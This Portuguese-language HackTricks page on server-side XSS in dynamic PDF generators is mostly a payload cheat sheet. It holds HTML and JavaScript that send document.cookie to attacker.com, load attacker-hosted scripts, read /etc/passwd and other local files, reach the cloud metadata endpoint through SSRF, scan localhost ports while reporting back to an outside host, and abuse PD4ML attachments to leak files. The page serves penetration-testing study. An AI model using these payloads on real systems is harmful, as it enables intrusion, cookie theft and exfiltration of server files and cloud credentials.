Server Side XSS (Dynamic PDF)
Reading time: 8 minutes
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao đŹ grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter đŠ @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositĂłrios do github.
Server Side XSS (Dynamic PDF)
Se uma pĂĄgina da web estĂĄ criando um PDF usando entrada controlada pelo usuĂĄrio, vocĂȘ pode tentar enganar o bot que estĂĄ criando o PDF para executar cĂłdigo JS arbitrĂĄrio.
Assim, se o bot criador de PDF encontrar algum tipo de tags HTML, ele vai interpretĂĄ-las, e vocĂȘ pode abusar esse comportamento para causar um Server XSS.
Por favor, note que as tags <script></script>
nem sempre funcionam, entĂŁo vocĂȘ precisarĂĄ de um mĂ©todo diferente para executar JS (por exemplo, abusando de <img
).
AlĂ©m disso, note que em uma exploração regular vocĂȘ serĂĄ capaz de ver/baixar o pdf criado, entĂŁo vocĂȘ poderĂĄ ver tudo que vocĂȘ escreve via JS (usando document.write()
por exemplo). Mas, se vocĂȘ nĂŁo puder ver o PDF criado, provavelmente precisarĂĄ extrair a informação fazendo requisiçÔes web para vocĂȘ (Cego).
Geração de PDF popular
- wkhtmltopdf Ă© conhecido por sua capacidade de converter HTML e CSS em documentos PDF, utilizando o motor de renderização WebKit. Esta ferramenta estĂĄ disponĂvel como uma utilidade de linha de comando de cĂłdigo aberto, tornando-a acessĂvel para uma ampla gama de aplicaçÔes.
- TCPDF oferece uma solução robusta dentro do ecossistema PHP para geração de PDF. à capaz de lidar com imagens, gråficos e criptografia, mostrando sua versatilidade para criar documentos complexos.
- Para aqueles que trabalham em um ambiente Node.js, PDFKit apresenta uma opção viĂĄvel. Ele permite a geração de documentos PDF diretamente de HTML e CSS, fornecendo uma ponte entre conteĂșdo web e formatos imprimĂveis.
- Desenvolvedores Java podem preferir iText, uma biblioteca que não apenas facilita a criação de PDF, mas também suporta recursos avançados como assinaturas digitais e preenchimento de formulårios. Seu conjunto abrangente de recursos a torna adequada para gerar documentos seguros e interativos.
- FPDF é outra biblioteca PHP, distinguida por sua simplicidade e facilidade de uso. à projetada para desenvolvedores que buscam uma abordagem direta para a geração de PDF, sem a necessidade de recursos extensivos.
Payloads
Discovery
<!-- Basic discovery, Write something-->
<img src="x" onerror="document.write('test')" />
<script>document.write(JSON.stringify(window.location))</script>
<script>document.write('<iframe src="'+window.location.href+'"></iframe>')</script>
<!--Basic blind discovery, load a resource-->
<img src="http://attacker.com"/>
<img src=x onerror="location.href='http://attacker.com/?c='+ document.cookie">
<script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script>
<link rel=attachment href="http://attacker.com">
<!-- Using base HTML tag -->
<base href="http://attacker.com" />
<!-- Loading external stylesheet -->
<link rel="stylesheet" src="http://attacker.com" />
<!-- Meta-tag to auto-refresh page -->
<meta http-equiv="refresh" content="0; url=http://attacker.com/" />
<!-- Loading external components -->
<input type="image" src="http://attacker.com" />
<video src="http://attacker.com" />
<audio src="http://attacker.com" />
<audio><source src="http://attacker.com"/></audio>
<svg src="http://attacker.com" />
SVG
Qualquer um dos payloads anteriores ou seguintes pode ser usado dentro deste payload SVG. Um iframe acessando o subdomĂnio Burpcollab e outro acessando o endpoint de metadados sĂŁo apresentados como exemplos.
<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
<g>
<foreignObject width="800" height="500">
<body xmlns="http://www.w3.org/1999/xhtml">
<iframe src="http://redacted.burpcollaborator.net" width="800" height="500"></iframe>
<iframe src="http://169.254.169.254/latest/meta-data/" width="800" height="500"></iframe>
</body>
</foreignObject>
</g>
</svg>
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<script type="text/javascript"></script>
</svg>
VocĂȘ pode encontrar muitos outros payloads SVG em https://github.com/allanlw/svg-cheatsheet
Divulgação de caminho
<!-- If the bot is accessing a file:// path, you will discover the internal path
if not, you will at least have wich path the bot is accessing -->
<img src="x" onerror="document.write(window.location)" />
<script> document.write(window.location) </script>
Carregar um script externo
A melhor maneira de explorar essa vulnerabilidade Ă© abusar dela para fazer o bot carregar um script que vocĂȘ controla localmente. Assim, vocĂȘ poderĂĄ alterar a carga Ăștil localmente e fazer o bot carregĂĄ-la com o mesmo cĂłdigo toda vez.
<script src="http://attacker.com/myscripts.js"></script>
<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>
Ler arquivo local / SSRF
warning
Altere file:///etc/passwd
para http://169.254.169.254/latest/user-data
por exemplo para tentar acessar uma pĂĄgina da web externa (SSRF).
Se SSRF for permitido, mas vocĂȘ nĂŁo conseguir acessar um domĂnio ou IP interessante, verifique esta pĂĄgina para possĂveis contornos.
<script>
x=new XMLHttpRequest;
x.onload=function(){document.write(btoa(this.responseText))};
x.open("GET","file:///etc/passwd");x.send();
</script>
<script>
xhzeem = new XMLHttpRequest();
xhzeem.onload = function(){document.write(this.responseText);}
xhzeem.onerror = function(){document.write('failed!')}
xhzeem.open("GET","file:///etc/passwd");
xhzeem.send();
</script>
<iframe src=file:///etc/passwd></iframe>
<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
<link rel=attachment href="file:///root/secret.txt">
<object data="file:///etc/passwd">
<portal src="file:///etc/passwd" id=portal>
<embed src="file:///etc/passwd>" width="400" height="400">
<style><iframe src="file:///etc/passwd">
<img src='x' onerror='document.write('<iframe src=file:///etc/passwd></iframe>')'/>&text=&width=500&height=500
<meta http-equiv="refresh" content="0;url=file:///etc/passwd" />
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />
Atraso do bot
<!--Make the bot send a ping every 500ms to check how long does the bot wait-->
<script>
let time = 500;
setInterval(()=>{
let img = document.createElement("img");
img.src = `https://attacker.com/ping?time=${time}ms`;
time += 500;
}, 500);
</script>
<img src="https://attacker.com/delay">
Varredura de Portas
<!--Scan local port and receive a ping indicating which ones are found-->
<script>
const checkPort = (port) => {
fetch(`http://localhost:${port}`, { mode: "no-cors" }).then(() => {
let img = document.createElement("img");
img.src = `http://attacker.com/ping?port=${port}`;
});
}
for(let i=0; i<1000; i++) {
checkPort(i);
}
</script>
<img src="https://attacker.com/startingScan">
SSRF
Essa vulnerabilidade pode ser transformada muito facilmente em um SSRF (jĂĄ que vocĂȘ pode fazer o script carregar recursos externos). EntĂŁo, apenas tente explorĂĄ-la (ler alguns metadados?).
Attachments: PD4ML
Existem alguns motores de HTML para PDF que permitem especificar anexos para o PDF, como PD4ML. VocĂȘ pode abusar dessa funcionalidade para anexar qualquer arquivo local ao PDF.
Para abrir o anexo, eu abri o arquivo com Firefox e cliquei duas vezes no sĂmbolo do clipe de papel para armazenar o anexo como um novo arquivo.
Capturar a resposta PDF com burp também deve mostrar o anexo em texto claro dentro do PDF.
<!-- From https://0xdf.gitlab.io/2021/04/24/htb-bucket.html -->
<html>
<pd4ml:attachment
src="/etc/passwd"
description="attachment sample"
icon="Paperclip" />
</html>
ReferĂȘncias
- https://lbherrera.github.io/lab/h1415-ctf-writeup.html
- https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/
- https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html
- https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c
- https://www.intigriti.com/researchers/blog/hacking-tools/exploiting-pdf-generators-a-complete-guide-to-finding-ssrf-vulnerabilities-in-pdf-generators
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao đŹ grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter đŠ @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositĂłrios do github.